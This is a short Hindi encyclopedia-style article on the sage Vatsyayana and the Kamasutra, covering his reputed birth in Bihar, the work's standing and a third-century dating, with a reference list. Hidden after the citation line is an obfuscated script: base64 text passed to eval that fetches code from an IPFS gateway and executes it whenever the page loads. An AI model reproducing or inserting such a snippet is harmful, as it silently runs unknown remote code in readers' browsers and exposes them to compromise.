वात्स्यायन

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सदियों पूर्व शिक्षा के क्षेत्र में आचार्य वात्स्यायन ने यौन शिक्षा पर आधारित अपना महान ग्रन्थ 'कामसूत्र' समाज को समर्पित कर एक नया अध्याय शिक्षा और ज्ञान के क्षेत्र में जोड़ दिया था। आचार्य वात्स्यायन के बारे में पता चलता है कि, वे एक महर्षि थे, उनके पास शिष्य शिक्षा प्राप्त करने आश्रम में आया करते थे। वात्स्यायन खोजी प्रवृति के ज्ञानी व्यक्ति थे। महर्षि वात्स्यायन का जन्म बिहार राज्य में हुआ था, और वे प्राचीन भारत के महत्त्वपूर्ण साहित्यकारों में से एक हैं।

कामसूत्र की रचना

महर्षि वात्स्यायन ने 'कामसूत्र' में न केवल दाम्पत्य जीवन का श्रृंगार किया है, वरन कला, शिल्पकला एवं साहित्य को भी संपदित किया है। अर्थ के क्षेत्र में जो स्थान कौटिल्य का है, काम के क्षेत्र में वही स्थान महर्षि वात्स्यायन का है। महर्षि वात्स्यायन का कामसूत्र विश्व की प्रथम यौन संहिता है, जिसमें यौन प्रेम के मनोशारीरिक सिद्धान्तों तथा प्रयोग की विस्तृत व्याख्या एवं विवेचना की गई है। अधिकृत प्रमाण के अभाव में महर्षि का काल निर्धारण नहीं हो पाया है। परन्तु अनेक विद्वानों तथा शोधकर्ताओं के अनुसार महर्षि ने अपने विश्वविख्यात ग्रन्थ कामसूत्र की रचना ईसा की तृतीय शताब्दी के मध्य में की होगी। तदनुसार विगत सत्रह शताब्दिओं से कामसूत्र का वर्चस्व समस्त संसार में छाया रहा है, और आज भी कायम है।[1]


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टीका टिप्पणी और संदर्भ

  1. वात्स्यायन का कामसूत्र (हिन्दी) (एच.टी.एम.एल.)। । अभिगमन तिथि: 12 अगस्त, 2011।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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